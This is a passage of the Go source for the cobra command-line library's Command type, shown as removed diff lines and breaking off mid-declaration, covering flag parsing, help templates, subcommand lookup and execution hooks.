KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package cobra is a commander providing a simple interface to create powerful modern CLI interfaces. -// In addition to providing an interface, Cobra simultaneously provides a controller to organize your application code. -package cobra - -import ( - "bytes" - "fmt" - "io" - "os" - "path/filepath" - "sort" - "strings" - - flag "github.com/spf13/pflag" -) - -// Command is just that, a command for your application. -// E.g. 'go run ...' - 'run' is the command. Cobra requires -// you to define the usage and description as part of your command -// definition to ensure usability. -type Command struct { - // Use is the one-line usage message. - Use string - - // Aliases is an array of aliases that can be used instead of the first word in Use. - Aliases []string - - // SuggestFor is an array of command names for which this command will be suggested - - // similar to aliases but only suggests. - SuggestFor []string - - // Short is the short description shown in the 'help' output. - Short string - - // Long is the long message shown in the 'help ' output. - Long string - - // Example is examples of how to use the command. - Example string - - // ValidArgs is list of all valid non-flag arguments that are accepted in bash completions - ValidArgs []string - - // Expected arguments - Args PositionalArgs - - // ArgAliases is List of aliases for ValidArgs. - // These are not suggested to the user in the bash completion, - // but accepted if entered manually. - ArgAliases []string - - // BashCompletionFunction is custom functions used by the bash autocompletion generator. - BashCompletionFunction string - - // Deprecated defines, if this command is deprecated and should print this string when used. - Deprecated string - - // Hidden defines, if this command is hidden and should NOT show up in the list of available commands. - Hidden bool - - // Annotations are key/value pairs that can be used by applications to identify or - // group commands. - Annotations map[string]string - - // The *Run functions are executed in the following order: - // * PersistentPreRun() - // * PreRun() - // * Run() - // * PostRun() - // * PersistentPostRun() - // All functions get the same args, the arguments after the command name. - // - // PersistentPreRun: children of this command will inherit and execute. - PersistentPreRun func(cmd *Command, args []string) - // PersistentPreRunE: PersistentPreRun but returns an error. - PersistentPreRunE func(cmd *Command, args []string) error - // PreRun: children of this command will not inherit. - PreRun func(cmd *Command, args []string) - // PreRunE: PreRun but returns an error. - PreRunE func(cmd *Command, args []string) error - // Run: Typically the actual work function. Most commands will only implement this. - Run func(cmd *Command, args []string) - // RunE: Run but returns an error. - RunE func(cmd *Command, args []string) error - // PostRun: run after the Run command. - PostRun func(cmd *Command, args []string) - // PostRunE: PostRun but returns an error. - PostRunE func(cmd *Command, args []string) error - // PersistentPostRun: children of this command will inherit and execute after PostRun. - PersistentPostRun func(cmd *Command, args []string) - // PersistentPostRunE: PersistentPostRun but returns an error. - PersistentPostRunE func(cmd *Command, args []string) error - - // SilenceErrors is an option to quiet errors down stream. - SilenceErrors bool - - // SilenceUsage is an option to silence usage when an error occurs. - SilenceUsage bool - - // DisableFlagParsing disables the flag parsing. - // If this is true all flags will be passed to the command as arguments. - DisableFlagParsing bool - - // DisableAutoGenTag defines, if gen tag ("Auto generated by spf13/cobra...") - // will be printed by generating docs for this command. - DisableAutoGenTag bool - - // DisableSuggestions disables the suggestions based on Levenshtein distance - // that go along with 'unknown command' messages. - DisableSuggestions bool - // SuggestionsMinimumDistance defines minimum levenshtein distance to display suggestions. - // Must be > 0. - SuggestionsMinimumDistance int - - // name is the command name, usually the executable's name. - name string - // commands is the list of commands supported by this program. - commands []*Command - // parent is a parent command for this command. - parent *Command - // Max lengths of commands' string lengths for use in padding. - commandsMaxUseLen int - commandsMaxCommandPathLen int - commandsMaxNameLen int - // commandsAreSorted defines, if command slice are sorted or not. - commandsAreSorted bool - - // args is actual args parsed from flags. - args []string - // flagErrorBuf contains all error messages from pflag. - flagErrorBuf *bytes.Buffer - // flags is full set of flags. - flags *flag.FlagSet - // pflags contains persistent flags. - pflags *flag.FlagSet - // lflags contains local flags. - lflags *flag.FlagSet - // iflags contains inherited flags. - iflags *flag.FlagSet - // parentsPflags is all persistent flags of cmd's parents. - parentsPflags *flag.FlagSet - // globNormFunc is the global normalization function - // that we can use on every pflag set and children commands - globNormFunc func(f *flag.FlagSet, name string) flag.NormalizedName - - // output is an output writer defined by user. - output io.Writer - // usageFunc is usage func defined by user. - usageFunc func(*Command) error - // usageTemplate is usage template defined by user. - usageTemplate string - // flagErrorFunc is func defined by user and it's called when the parsing of - // flags returns an error. - flagErrorFunc func(*Command, error) error - // helpTemplate is help template defined by user. - helpTemplate string - // helpFunc is help func defined by user. - helpFunc func(*Command, []string) - // helpCommand is command with usage 'help'. If it's not defined by user, - // cobra uses default help command. - helpCommand *Command -} - -// SetArgs sets arguments for the command. It is set to os.Args[1:] by default, if desired, can be overridden -// particularly useful when testing. -func (c *Command) SetArgs(a []string) { - c.args = a -} - -// SetOutput sets the destination for usage and error messages. -// If output is nil, os.Stderr is used. -func (c *Command) SetOutput(output io.Writer) { - c.output = output -} - -// SetUsageFunc sets usage function. Usage can be defined by application. -func (c *Command) SetUsageFunc(f func(*Command) error) { - c.usageFunc = f -} - -// SetUsageTemplate sets usage template. Can be defined by Application. -func (c *Command) SetUsageTemplate(s string) { - c.usageTemplate = s -} - -// SetFlagErrorFunc sets a function to generate an error when flag parsing -// fails. -func (c *Command) SetFlagErrorFunc(f func(*Command, error) error) { - c.flagErrorFunc = f -} - -// SetHelpFunc sets help function. Can be defined by Application. -func (c *Command) SetHelpFunc(f func(*Command, []string)) { - c.helpFunc = f -} - -// SetHelpCommand sets help command. -func (c *Command) SetHelpCommand(cmd *Command) { - c.helpCommand = cmd -} - -// SetHelpTemplate sets help template to be used. Application can use it to set custom template. -func (c *Command) SetHelpTemplate(s string) { - c.helpTemplate = s -} - -// SetGlobalNormalizationFunc sets a normalization function to all flag sets and also to child commands. -// The user should not have a cyclic dependency on commands. -func (c *Command) SetGlobalNormalizationFunc(n func(f *flag.FlagSet, name string) flag.NormalizedName) { - c.Flags().SetNormalizeFunc(n) - c.PersistentFlags().SetNormalizeFunc(n) - c.globNormFunc = n - - for _, command := range c.commands { - command.SetGlobalNormalizationFunc(n) - } -} - -// OutOrStdout returns output to stdout. -func (c *Command) OutOrStdout() io.Writer { - return c.getOut(os.Stdout) -} - -// OutOrStderr returns output to stderr -func (c *Command) OutOrStderr() io.Writer { - return c.getOut(os.Stderr) -} - -func (c *Command) getOut(def io.Writer) io.Writer { - if c.output != nil { - return c.output - } - if c.HasParent() { - return c.parent.getOut(def) - } - return def -} - -// UsageFunc returns either the function set by SetUsageFunc for this command -// or a parent, or it returns a default usage function. -func (c *Command) UsageFunc() (f func(*Command) error) { - if c.usageFunc != nil { - return c.usageFunc - } - if c.HasParent() { - return c.Parent().UsageFunc() - } - return func(c *Command) error { - c.mergePersistentFlags() - err := tmpl(c.OutOrStderr(), c.UsageTemplate(), c) - if err != nil { - c.Println(err) - } - return err - } -} - -// Usage puts out the usage for the command. -// Used when a user provides invalid input. -// Can be defined by user by overriding UsageFunc. -func (c *Command) Usage() error { - return c.UsageFunc()(c) -} - -// HelpFunc returns either the function set by SetHelpFunc for this command -// or a parent, or it returns a function with default help behavior. -func (c *Command) HelpFunc() func(*Command, []string) { - if c.helpFunc != nil { - return c.helpFunc - } - if c.HasParent() { - return c.Parent().HelpFunc() - } - return func(c *Command, a []string) { - c.mergePersistentFlags() - err := tmpl(c.OutOrStdout(), c.HelpTemplate(), c) - if err != nil { - c.Println(err) - } - } -} - -// Help puts out the help for the command. -// Used when a user calls help [command]. -// Can be defined by user by overriding HelpFunc. -func (c *Command) Help() error { - c.HelpFunc()(c, []string{}) - return nil -} - -// UsageString return usage string. -func (c *Command) UsageString() string { - tmpOutput := c.output - bb := new(bytes.Buffer) - c.SetOutput(bb) - c.Usage() - c.output = tmpOutput - return bb.String() -} - -// FlagErrorFunc returns either the function set by SetFlagErrorFunc for this -// command or a parent, or it returns a function which returns the original -// error. -func (c *Command) FlagErrorFunc() (f func(*Command, error) error) { - if c.flagErrorFunc != nil { - return c.flagErrorFunc - } - - if c.HasParent() { - return c.parent.FlagErrorFunc() - } - return func(c *Command, err error) error { - return err - } -} - -var minUsagePadding = 25 - -// UsagePadding return padding for the usage. -func (c *Command) UsagePadding() int { - if c.parent == nil || minUsagePadding > c.parent.commandsMaxUseLen { - return minUsagePadding - } - return c.parent.commandsMaxUseLen -} - -var minCommandPathPadding = 11 - -// CommandPathPadding return padding for the command path. -func (c *Command) CommandPathPadding() int { - if c.parent == nil || minCommandPathPadding > c.parent.commandsMaxCommandPathLen { - return minCommandPathPadding - } - return c.parent.commandsMaxCommandPathLen -} - -var minNamePadding = 11 - -// NamePadding returns padding for the name. -func (c *Command) NamePadding() int { - if c.parent == nil || minNamePadding > c.parent.commandsMaxNameLen { - return minNamePadding - } - return c.parent.commandsMaxNameLen -} - -// UsageTemplate returns usage template for the command. -func (c *Command) UsageTemplate() string { - if c.usageTemplate != "" { - return c.usageTemplate - } - - if c.HasParent() { - return c.parent.UsageTemplate() - } - return `Usage:{{if .Runnable}} - {{.UseLine}}{{end}}{{if .HasAvailableSubCommands}} - {{.CommandPath}} [command]{{end}}{{if gt (len .Aliases) 0}} - -Aliases: - {{.NameAndAliases}}{{end}}{{if .HasExample}} - -Examples: -{{.Example}}{{end}}{{if .HasAvailableSubCommands}} - -Available Commands:{{range .Commands}}{{if (or .IsAvailableCommand (eq .Name "help"))}} - {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}} - -Flags: -{{.LocalFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasAvailableInheritedFlags}} - -Global Flags: -{{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}} - -Additional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}} - {{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}} - -Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}} -` -} - -// HelpTemplate return help template for the command. -func (c *Command) HelpTemplate() string { - if c.helpTemplate != "" { - return c.helpTemplate - } - - if c.HasParent() { - return c.parent.HelpTemplate() - } - return `{{with (or .Long .Short)}}{{. | trimTrailingWhitespaces}} - -{{end}}{{if or .Runnable .HasSubCommands}}{{.UsageString}}{{end}}` -} - -func hasNoOptDefVal(name string, fs *flag.FlagSet) bool { - flag := fs.Lookup(name) - if flag == nil { - return false - } - return flag.NoOptDefVal != "" -} - -func shortHasNoOptDefVal(name string, fs *flag.FlagSet) bool { - if len(name) == 0 { - return false - } - - flag := fs.ShorthandLookup(name[:1]) - if flag == nil { - return false - } - return flag.NoOptDefVal != "" -} - -func stripFlags(args []string, c *Command) []string { - if len(args) == 0 { - return args - } - c.mergePersistentFlags() - - commands := []string{} - flags := c.Flags() - -Loop: - for len(args) > 0 { - s := args[0] - args = args[1:] - switch { - case strings.HasPrefix(s, "--") && !strings.Contains(s, "=") && !hasNoOptDefVal(s[2:], flags): - // If '--flag arg' then - // delete arg from args. - fallthrough // (do the same as below) - case strings.HasPrefix(s, "-") && !strings.Contains(s, "=") && len(s) == 2 && !shortHasNoOptDefVal(s[1:], flags): - // If '-f arg' then - // delete 'arg' from args or break the loop if len(args) <= 1. - if len(args) <= 1 { - break Loop - } else { - args = args[1:] - continue - } - case s != "" && !strings.HasPrefix(s, "-"): - commands = append(commands, s) - } - } - - return commands -} - -// argsMinusFirstX removes only the first x from args. Otherwise, commands that look like -// openshift admin policy add-role-to-user admin my-user, lose the admin argument (arg[4]). -func argsMinusFirstX(args []string, x string) []string { - for i, y := range args { - if x == y { - ret := []string{} - ret = append(ret, args[:i]...) - ret = append(ret, args[i+1:]...) - return ret - } - } - return args -} - -// Find the target command given the args and command tree -// Meant to be run on the highest node. Only searches down. -func (c *Command) Find(args []string) (*Command, []string, error) { - if c == nil { - return nil, nil, fmt.Errorf("Called find() on a nil Command") - } - - var innerfind func(*Command, []string) (*Command, []string) - - innerfind = func(c *Command, innerArgs []string) (*Command, []string) { - argsWOflags := stripFlags(innerArgs, c) - if len(argsWOflags) == 0 { - return c, innerArgs - } - nextSubCmd := argsWOflags[0] - matches := make([]*Command, 0) - for _, cmd := range c.commands { - if cmd.Name() == nextSubCmd || cmd.HasAlias(nextSubCmd) { // exact name or alias match - return innerfind(cmd, argsMinusFirstX(innerArgs, nextSubCmd)) - } - if EnablePrefixMatching { - if strings.HasPrefix(cmd.Name(), nextSubCmd) { // prefix match - matches = append(matches, cmd) - } - for _, x := range cmd.Aliases { - if strings.HasPrefix(x, nextSubCmd) { - matches = append(matches, cmd) - } - } - } - } - - // only accept a single prefix match - multiple matches would be ambiguous - if len(matches) == 1 { - return innerfind(matches[0], argsMinusFirstX(innerArgs, argsWOflags[0])) - } - - return c, innerArgs - } - - commandFound, a := innerfind(c, args) - if commandFound.Args == nil { - return commandFound, a, legacyArgs(commandFound, stripFlags(a, commandFound)) - } - return commandFound, a, nil -} - -func (c *Command) findSuggestions(arg string) string { - if c.DisableSuggestions { - return "" - } - if c.SuggestionsMinimumDistance <= 0 { - c.SuggestionsMinimumDistance = 2 - } - suggestionsString := "" - if suggestions := c.SuggestionsFor(arg); len(suggestions) > 0 { - suggestionsString += "\n\nDid you mean this?\n" - for _, s := range suggestions { - suggestionsString += fmt.Sprintf("\t%v\n", s) - } - } - return suggestionsString -} - -// SuggestionsFor provides suggestions for the typedName. -func (c *Command) SuggestionsFor(typedName string) []string { - suggestions := []string{} - for _, cmd := range c.commands { - if cmd.IsAvailableCommand() { - levenshteinDistance := ld(typedName, cmd.Name(), true) - suggestByLevenshtein := levenshteinDistance <= c.SuggestionsMinimumDistance - suggestByPrefix := strings.HasPrefix(strings.ToLower(cmd.Name()), strings.ToLower(typedName)) - if suggestByLevenshtein || suggestByPrefix { - suggestions = append(suggestions, cmd.Name()) - } - for _, explicitSuggestion := range cmd.SuggestFor { - if strings.EqualFold(typedName, explicitSuggestion) { - suggestions = append(suggestions, cmd.Name()) - } - } - } - } - return suggestions -} - -// VisitParents visits all parents of the command and invokes fn on each parent. -func (c *Command) VisitParents(fn func(*Command)) { - if c.HasParent() { - fn(c.Parent()) - c.Parent().VisitParents(fn) - } -} - -// Root finds root command. -func (c *Command) Root() *Command { - if c.HasParent() { - return c.Parent().Root() - } - return c -} - -// ArgsLenAtDash will return the length of f.Args at the moment when a -- was -// found during arg parsing. This allows your program to know which args were -// before the -- and which came after. (Description from -// https://godoc.org/github.com/spf13/pflag#FlagSet.ArgsLenAtDash). -func (c *Command) ArgsLenAtDash() int { - return c.Flags().ArgsLenAtDash() -} - -func (c *Command) execute(a []string) (err error) { - if c == nil { - return fmt.Errorf("Called Execute() on a nil Command") - } - - if len(c.Deprecated) > 0 { - c.Printf("Command %q is deprecated, %s\n", c.Name(), c.Deprecated) - } - - // initialize help flag as the last point possible to allow for user - // overriding - c.InitDefaultHelpFlag() - - err = c.ParseFlags(a) - if err != nil { - return c.FlagErrorFunc()(c, err) - } - - // If help is called, regardless of other flags, return we want help. - // Also say we need help if the command isn't runnable. - helpVal, err := c.Flags().GetBool("help") - if err != nil { - // should be impossible to get here as we always declare a help - // flag in InitDefaultHelpFlag() - c.Println("\"help\" flag declared as non-bool. Please correct your code") - return err - } - - if helpVal || !c.Runnable() { - return flag.ErrHelp - } - - c.preRun() - - argWoFlags := c.Flags().Args() - if c.DisableFlagParsing { - argWoFlags = a - } - - if err := c.ValidateArgs(argWoFlags); err != nil { - return err - } - - for p := c; p != nil; p = p.Parent() { - if p.PersistentPreRunE != nil { - if err := p.PersistentPreRunE(c, argWoFlags); err != nil { - return err - } - break - } else if p.PersistentPreRun != nil { - p.PersistentPreRun(c, argWoFlags) - break - } - } - if c.PreRunE != nil { - if err := c.PreRunE(c, argWoFlags); err != nil { - return err - } - } else if c.PreRun != nil { - c.PreRun(c, argWoFlags) - } - - if c.RunE != nil { - if err := c.RunE(c, argWoFlags); err != nil { - return err - } - } else { - c.Run(c, argWoFlags) - } - if c.PostRunE != nil { - if err := c.PostRunE(c, argWoFlags); err != nil { - return err - } - } else if c.PostRun != nil { - c.PostRun(c, argWoFlags) - } - for p := c; p != nil; p = p.Parent() { - if p.PersistentPostRunE != nil { - if err := p.PersistentPostRunE(c, argWoFlags); err != nil { - return err - } - break - } else if p.PersistentPostRun != nil { - p.PersistentPostRun(c, argWoFlags) - break - } - } - - return nil -} - -func (c *Command) preRun() { - for _, x := range initializers { - x() - } -} - -// Execute uses the args (os.Args[1:] by default) -// and run through the command tree finding appropriate matches -// for commands and then corresponding flags. -func (c *Command) Execute() error { - _, err := c.ExecuteC() - return err -} - -// ExecuteC executes the command. -func (c *Command) ExecuteC() (cmd *Command, err error) { - // Regardless of what command execute is called on, run on Root only - if c.HasParent() { - return c.Root().ExecuteC() - } - - // windows hook - if preExecHookFn != nil { - preExecHookFn(c) - } - - // initialize help as the last point possible to allow for user - // overriding - c.InitDefaultHelpCmd() - - var args []string - - // Workaround FAIL with "go test -v" or "cobra.test -test.v", see #155 - if c.args == nil && filepath.Base(os.Args[0]) != "cobra.test" { - args = os.Args[1:] - } else { - args = c.args - } - - cmd, flags, err := c.Find(args) - if err != nil { - // If found parse to a subcommand and then failed, talk about the subcommand - if cmd != nil { - c = cmd - } - if !c.SilenceErrors { - c.Println("Error:", err.Error()) - c.Printf("Run '%v --help' for usage.\n", c.CommandPath()) - } - return c, err - } - err = cmd.execute(flags) - if err != nil { - // Always show help if requested, even if SilenceErrors is in - // effect - if err == flag.ErrHelp { - cmd.HelpFunc()(cmd, args) - return cmd, nil - } - - // If root command has SilentErrors flagged, - // all subcommands should respect it - if !cmd.SilenceErrors && !c.SilenceErrors { - c.Println("Error:", err.Error()) - } - - // If root command has SilentUsage flagged, - // all subcommands should respect it - if !cmd.SilenceUsage && !c.SilenceUsage { - c.Println(cmd.UsageString()) - } - } - return cmd, err -} - -func (c *Command) ValidateArgs(args []string) error { - if c.Args == nil { - return nil - } - return c.Args(c, args) -} - -// InitDefaultHelpFlag adds default help flag to c. -// It is called automatically by executing the c or by calling help and usage. -// If c already has help flag, it will do nothing. -func (c *Command) InitDefaultHelpFlag() { - c.mergePersistentFlags() - if c.Flags().Lookup("help") == nil { - usage := "help for " - if c.Name() == "" { - usage += "this command" - } else { - usage += c.Name() - } - c.Flags().BoolP("help", "h", false, usage) - } -} - -// InitDefaultHelpCmd adds default help command to c. -// It is called automatically by executing the c or by calling help and usage. -// If c already has help command or c has no subcommands, it will do nothing. -func (c *Command) InitDefaultHelpCmd() { - if !c.HasSubCommands() { - return - } - - if c.helpCommand == nil { - c.helpCommand = &Command{ - Use: "help [command]", - Short: "Help about any command", - Long: `Help provides help for any command in the application. -Simply type ` + c.Name() + ` help [path to command] for full details.`, - - Run: func(c *Command, args []string) { - cmd, _, e := c.Root().Find(args) - if cmd == nil || e != nil { - c.Printf("Unknown help topic %#q\n", args) - c.Root().Usage() - } else { - cmd.InitDefaultHelpFlag() // make possible 'help' flag to be shown - cmd.Help() - } - }, - } - } - c.RemoveCommand(c.helpCommand) - c.AddCommand(c.helpCommand) -} - -// ResetCommands used for testing. -func (c *Command) ResetCommands() { - c.commands = nil - c.helpCommand = nil - c.parentsPflags = nil -} - -// Sorts commands by their names. -type commandSorterByName []*Command - -func (c commandSorterByName) Len() int { return len(c) } -func (c commandSorterByName) Swap(i, j int) { c[i], c[j] = c[j], c[i] } -func (c commandSorterByName) Less(i, j int) bool { return c[i].Name() < c[j].Name() } - -// Commands returns a sorted slice of child commands. -func (c *Command) Commands() []*Command { - // do not sort commands if it already sorted or sorting was disabled - if EnableCommandSorting && !c.commandsAreSorted { - sort.Sort(commandSorterByName(c.commands)) - c.commandsAreSorted = true - } - return c.commands -} - -// AddCommand adds one or more commands to this parent command. -func (c *Command) AddCommand(cmds ...*Command) { - for i, x := range cmds { - if cmds[i] == c { - panic("Command can't be a child of itself") - } - cmds[i].parent = c - // update max lengths - usageLen := len(x.Use) - if usageLen > c.commandsMaxUseLen { - c.commandsMaxUseLen = usageLen - } - commandPathLen := len(x.CommandPath()) - if commandPathLen > c.commandsMaxCommandPathLen { - c.commandsMaxCommandPathLen = commandPathLen - } - nameLen := len(x.Name()) - if nameLen > c.commandsMaxNameLen { - c.commandsMaxNameLen = nameLen - } - // If global normalization function exists, update all children - if c.globNormFunc != nil { - x.SetGlobalNormalizationFunc(c.globNormFunc) - } - c.commands = append(c.commands, x) - c.commandsAreSorted = false - } -} - -// RemoveCommand removes one or more commands from a parent command. -func (c *Command) RemoveCommand(cmds ...*Command) { - commands := []*Command{} -main: - for _, command := range c.commands { - for _, cmd := range cmds { - if command == cmd { - command.parent = nil - continue main - } - } - commands = append(commands, command) - } - c.commands = commands - // recompute all lengths - c.commandsMaxUseLen = 0 - c.commandsMaxCommandPathLen = 0 - c.commandsMaxNameLen = 0 - for _, command := range c.commands { - usageLen := len(command.Use) - if usageLen > c.commandsMaxUseLen { - c.commandsMaxUseLen = usageLen - } - commandPathLen := len(command.CommandPath()) - if commandPathLen > c.commandsMaxCommandPathLen { - c.commandsMaxCommandPathLen = commandPathLen - } - nameLen := len(command.Name()) - if nameLen > c.commandsMaxNameLen { - c.commandsMaxNameLen = nameLen - } - } -} - -// Print is a convenience method to Print to the defined output, fallback to Stderr if not set. -func (c *Command) Print(i ...interface{}) { - fmt.Fprint(c.OutOrStderr(), i...) -} - -// Println is a convenience method to Println to the defined output, fallback to Stderr if not set. -func (c *Command) Println(i ...interface{}) { - c.Print(fmt.Sprintln(i...)) -} - -// Printf is a convenience method to Printf to the defined output, fallback to Stderr if not set. -func (c *Command) Printf(format string, i ...interface{}) { - c.Print(fmt.Sprintf(format, i...)) -} - -// CommandPath returns the full path to this command. -func (c *Command) CommandPath() string { - if c.HasParent() { - return c.Parent().CommandPath() + " " + c.Name() - } - return c.Name() -} - -// UseLine puts out the full usage for a given command (including parents). -func (c *Command) UseLine() string { - var useline string - if c.HasParent() { - useline = c.parent.CommandPath() + " " + c.Use - } else { - useline = c.Use - } - if c.HasAvailableFlags() && !strings.Contains(useline, "[flags]") { - useline += " [flags]" - } - return useline -} - -// DebugFlags used to determine which flags have been assigned to which commands -// and which persist. -func (c *Command) DebugFlags() { - c.Println("DebugFlags called on", c.Name()) - var debugflags func(*Command) - - debugflags = func(x *Command) { - if x.HasFlags() || x.HasPersistentFlags() { - c.Println(x.Name()) - } - if x.HasFlags() { - x.flags.VisitAll(func(f *flag.Flag) { - if x.HasPersistentFlags() && x.persistentFlag(f.Name) != nil { - c.Println(" -"+f.Shorthand+",", "--"+f.Name, "["+f.DefValue+"]", "", f.Value, " [LP]") - } else { - c.Println(" -"+f.Shorthand+",", "--"+f.Name, "["+f.DefValue+"]", "", f.Value, " [L]") - } - }) - } - if x.HasPersistentFlags() { - x.pflags.VisitAll(func(f *flag.Flag) { - if x.HasFlags() { - if x.flags.Lookup(f.Name) == nil { - c.Println(" -"+f.Shorthand+",", "--"+f.Name, "["+f.DefValue+"]", "", f.Value, " [P]") - } - } else { - c.Println(" -"+f.Shorthand+",", "--"+f.Name, "["+f.DefValue+"]", "", f.Value, " [P]") - } - }) - } - c.Println(x.flagErrorBuf) - if x.HasSubCommands() { - for _, y := range x.commands { - debugflags(y) - } - } - } - - debugflags(c) -} - -// Name returns the command's name: the first word in the use line. -func (c *Command) Name() string { - if c.name == "" { - name := c.Use - i := strings.Index(name, " ") - if i >= 0 { - name = name[:i] - } - c.name = name - } - return c.name -} - -// HasAlias determines if a given string is an alias of the command. -func (c *Command) HasAlias(s string) bool { - for _, a := range c.Aliases { - if a == s { - return true - } - } - return false -} - -// NameAndAliases returns string containing name and all aliases -func (c *Command) NameAndAliases() string { - return strings.Join(append([]string{c.Name()}, c.Aliases...), ", ") -} - -// HasExample determines if the command has example. -func (c *Command) HasExample() bool { - return len(c.Example) > 0 -} - -// Runnable determines if the command is itself runnable. -func (c *Command) Runnable() bool { - return c.Run != nil || c.RunE != nil -} - -// HasSubCommands determines if the command has children commands. -func (c *Command) HasSubCommands() bool { - return len(c.commands) > 0 -} - -// IsAvailableCommand determines if a command is available as a non-help command -// (this includes all non deprecated/hidden commands). -func (c *Command) IsAvailableCommand() bool { - if len(c.Deprecated) != 0 || c.Hidden { - return false - } - - if c.HasParent() && c.Parent().helpCommand == c { - return false - } - - if c.Runnable() || c.HasAvailableSubCommands() { - return true - } - - return false -} - -// IsAdditionalHelpTopicCommand determines if a command is an additional -// help topic command; additional help topic command is determined by the -// fact that it is NOT runnable/hidden/deprecated, and has no sub commands that -// are runnable/hidden/deprecated. -// Concrete example: https://github.com/spf13/cobra/issues/393#issuecomment-282741924. -func (c *Command) IsAdditionalHelpTopicCommand() bool { - // if a command is runnable, deprecated, or hidden it is not a 'help' command - if c.Runnable() || len(c.Deprecated) != 0 || c.Hidden { - return false - } - - // if any non-help sub commands are found, the command is not a 'help' command - for _, sub := range c.commands { - if !sub.IsAdditionalHelpTopicCommand() { - return false - } - } - - // the command either has no sub commands, or no non-help sub commands - return true -} - -// HasHelpSubCommands determines if a command has any available 'help' sub commands -// that need to be shown in the usage/help default template under 'additional help -// topics'. -func (c *Command) HasHelpSubCommands() bool { - // return true on the first found available 'help' sub command - for _, sub := range c.commands { - if sub.IsAdditionalHelpTopicCommand() { - return true - } - } - - // the command either has no sub commands, or no available 'help' sub commands - return false -} - -// HasAvailableSubCommands determines if a command has available sub commands that -// need to be shown in the usage/help default template under 'available commands'. -func (c *Command) HasAvailableSubCommands() bool { - // return true on the first found available (non deprecated/help/hidden) - // sub command - for _, sub := range c.commands { - if sub.IsAvailableCommand() { - return true - } - } - - // the command either has no sub comamnds, or no available (non deprecated/help/hidden) - // sub commands - return false -} - -// HasParent determines if the command is a child command. -func (c *Command) HasParent() bool { - return c.parent != nil -} - -// GlobalNormalizationFunc returns the global normalization function or nil if doesn't exists. -func (c *Command) GlobalNormalizationFunc() func(f *flag.FlagSet, name string) flag.NormalizedName { - return c.globNormFunc -} - -// Flags returns the complete FlagSet that applies -// to this command (local and persistent declared here and by all parents). -func (c *Command) Flags() *flag.FlagSet { - if c.flags == nil { - c.flags = flag.NewFlagSet(c.Name(), flag.ContinueOnError) - if c.flagErrorBuf == nil { - c.flagErrorBuf = new(bytes.Buffer) - } - c.flags.SetOutput(c.flagErrorBuf) - } - - return c.flags -} - -// LocalNonPersistentFlags are flags specific to this command which will NOT persist to subcommands. -func (c *Command) LocalNonPersistentFlags() *flag.FlagSet { - persistentFlags := c.PersistentFlags() - - out := flag.NewFlagSet(c.Name(), flag.ContinueOnError) - c.LocalFlags().VisitAll(func(f *flag.Flag) { - if persistentFlags.Lookup(f.Name) == nil { - out.AddFlag(f) - } - }) - return out -} - -// LocalFlags returns the local FlagSet specifically set in the current command. -func (c *Command) LocalFlags() *flag.FlagSet { - c.mergePersistentFlags() - - if c.lflags == nil { - c.lflags = flag.NewFlagSet(c.Name(), flag.ContinueOnError) - if c.flagErrorBuf == nil { - c.flagErrorBuf = new(bytes.Buffer) - } - c.lflags.SetOutput(c.flagErrorBuf) - } - c.lflags.SortFlags = c.Flags().SortFlags - - addToLocal := func(f *flag.Flag) { - if c.lflags.Lookup(f.Name) == nil && c.parentsPflags.Lookup(f.Name) == nil { - c.lflags.AddFlag(f) - } - } - c.Flags().VisitAll(addToLocal) - c.PersistentFlags().VisitAll(addToLocal) - return c.lflags -} - -// InheritedFlags returns all flags which were inherited from parents commands. -func (c *Command) InheritedFlags() *flag.FlagSet { - c.mergePersistentFlags() - - if c.iflags == nil { - c.iflags = flag.NewFlagSet(c.Name(), flag.ContinueOnError) - if c.flagErrorBuf == nil { - c.flagErrorBuf = new(bytes.Buffer) - } - c.iflags.SetOutput(c.flagErrorBuf) - } - - local := c.LocalFlags() - c.parentsPflags.VisitAll(func(f *flag.Flag) { - if c.iflags.Lookup(f.Name) == nil && local.Lookup(f.Name) == nil { - c.iflags.AddFlag(f) - } - }) - return c.iflags -} - -// NonInheritedFlags returns all flags which were not inherited from parent commands. -func (c *Command) NonInheritedFlags() *flag.FlagSet { - return c.LocalFlags() -} - -// PersistentFlags returns the persistent FlagSet specifically set in the current command. -func (c *Command) PersistentFlags() *flag.FlagSet { - if c.pflags == nil { - c.pflags = flag.NewFlagSet(c.Name(), flag.ContinueOnError) - if c.flagErrorBuf == nil { - c.flagErrorBuf = new(bytes.Buffer) - } - c.pflags.SetOutput(c.flagErrorBuf) - } - return c.pflags -} - -// ResetFlags is used in testing. -func (c *Command) ResetFlags() { - c.flagErrorBuf = new(bytes.Buffer) - c.flagErrorBuf.Reset() - c.flags = flag.NewFlagSet(c.Name(), flag.ContinueOnError) - c.flags.SetOutput(c.flagErrorBuf) - c.pflags = flag.NewFlagSet(c.Name(), flag.ContinueOnError) - c.pflags.SetOutput(c.flagErrorBuf) -} - -// HasFlags checks if the command contains any flags (local plus persistent from the entire structure). -func (c *Command) HasFlags() bool { - return c.Flags().HasFlags() -} - -// HasPersistentFlags checks if the command contains persistent flags. -func (c *Command) HasPersistentFlags() bool { - return c.PersistentFlags().HasFlags() -} - -// HasLocalFlags checks if the command has flags specifically declared locally. -func (c *Command) HasLocalFlags() bool { - return c.LocalFlags().HasFlags() -} - -// HasInheritedFlags checks if the command has flags inherited from its parent command. -func (c *Command) HasInheritedFlags() bool { - return c.InheritedFlags().HasFlags() -} - -// HasAvailableFlags checks if the command contains any flags (local plus persistent from the entire -// structure) which are not hidden or deprecated. -func (c *Command) HasAvailableFlags() bool { - return c.Flags().HasAvailableFlags() -} - -// HasAvailablePersistentFlags checks if the command contains persistent flags which are not hidden or deprecated. -func (c *Command) HasAvailablePersistentFlags() bool { - return c.PersistentFlags().HasAvailableFlags() -} - -// HasAvailableLocalFlags checks if the command has flags specifically declared locally which are not hidden -// or deprecated. -func (c *Command) HasAvailableLocalFlags() bool { - return c.LocalFlags().HasAvailableFlags() -} - -// HasAvailableInheritedFlags checks if the command has flags inherited from its parent command which are -// not hidden or deprecated. -func (c *Command) HasAvailableInheritedFlags() bool { - return c.InheritedFlags().HasAvailableFlags() -} - -// Flag climbs up the command tree looking for matching flag. -func 